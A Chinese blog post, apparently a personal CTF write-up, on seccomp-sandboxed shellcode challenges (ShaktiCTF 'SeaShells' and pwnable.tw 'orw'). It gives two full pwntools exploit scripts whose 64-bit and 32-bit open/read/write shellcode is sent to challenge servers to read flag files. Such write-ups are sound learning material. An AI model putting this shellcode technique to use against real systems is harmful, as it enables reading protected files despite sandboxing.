沙箱问题

简介

之前从来没写过沙箱题,一下子遇到2道,直接懵了,记录一下

沙箱可以理解为一种虚拟环境,在CTF中,可以通过seccomp(Linux内核的一种特性)来实现系统调用的白名单和黑名单,从而限制程序使用某些系统调用,常见的限制为设置白名单,仅允许我们使用open、read和write

以两道题作为例子

SeaShells

第一题是2025.07.26的shaktictf比赛里面的SeaShells题,原题链接在这:2025-07-26-shaktictf比赛原题:SeaShells

题目描述

原文题目描述比较抽象,没什么有用信息,于是直接开始下载附件分析

漏洞点分析

把ELF文件拖进IDA初步观察一下,如下图


可以看到main函数逻辑很简单,是直接把我们输入的数据当作代码来执行

但是注意到左侧函数表中存在一个seccomp_initialisation的函数,想到这题应该加了沙箱,限制了我们的系统调用,大概率无法直接拿到shell

接着再对程序检查一下,使用seccomp-tools命令行工具,ubuntu22.04中安装命令如下:

1
2
sudo apt install gcc ruby-dev -y
sudo gem install seccomp-tools

安装完成后使用该工具检查ELF文件:

1
seccomp-tools dump ./seashells


发现除了程序本身的系统调用,对于我们获取flag有用的只有open、read和write系统调用

由此,漏洞点清晰,需要编写一段仅使用了open、read和write系统调用的shellcode并输入即可

漏洞点利用

file命令查看一下,发现是64位程序,因此编写出如下shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(os="linux",arch="x86_64",log_level="debug")
targetELF="./seashells"
# ioTube=process(targetELF)
ioTube=remote("43.205.113.100",8645)
shellcode=asm('''
.intel_syntax noprefix
push 0
mov r10,0x7478742e67616c66
push r10
lea rdi,[rsp]
xor rsi,rsi
xor rax,rax
mov rax,2
syscall

mov rdi,rax
sub rsp,100
lea rsi,[rsp]
xor rdx,rdx
mov rdx,100
xor rax,rax
syscall

xor rdi,rdi
mov rdi,1
lea rsi,[rsp]
xor rax,rax
mov rax,1
syscall
''')
ioTube.recvuntil("Give me the sea shells that you collected >>")
ioTube.sendline(shellcode)
response=ioTube.recv().decode(errors="ignore")
print("flag included in {}\n".format(response))

需要注意的有2点:

一是在远程中flag的文件路径需要猜测一下,一开始写的/flag(即mov r10,67616c662f)没打通,后来改成flag.txt才打通

二是在open文件时,字符串的末尾一定要以0x00结尾(这也是为什么一开始有一条push 0指令)

pwnable02-orw

第二题是pwnable.tw上的一道题目,原题链接在这:pwnable.tw第2题:orw

题目描述

这道题比上一题更简单,题目描述中给出了提示

直接告诉我们只有open、read和write可以使用,并且给出了flag的路径在/home/orw/flag

漏洞点分析

下载附件后首先还是拖进IDA看一下


发现逻辑就是直接执行shellcode,然后函数表里面还是有沙箱(orw_seccomp)

最后用file查看一下是32位文件

经过上述信息搜集,可以得到利用思路和上一题基本一致,只不过编写汇编语言时注意32位架构下的语法

漏洞点利用

直接编写出如下的利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import pwnlib.shellcraft
context(os="linux",arch="x86",log_level="debug")
targetELF="./pwn"
# ioTube=process(targetELF)
ioTube=remote("chall.pwnable.tw",10001)
shellcode=asm('''
push 0
push 0x67616c66
push 0x2f77726f
push 0x2f656d6f
push 0x682f2f2f
lea ebx,[esp]

xor ecx,ecx
xor edx,edx

mov eax,5
int 0x80


mov ebx,eax
mov edx,256
sub esp,256
lea ecx,[esp]

xor eax,eax
mov eax,3
int 0x80

xor ebx,ebx
mov ebx,1
mov edx,eax
lea ecx,[esp]

xor eax,eax
mov eax,4
int 0x80

''')
ioTube.recvuntil("Give my your shellcode:")
ioTube.sendline(shellcode)
response=ioTube.recv().decode(errors="ignore")
print(response)

沙箱问题
http://0x4a-210.github.io/2025/07/26/pwn刷题记录/其他技巧类/沙箱问题/
Posted on
July 26, 2025
Licensed under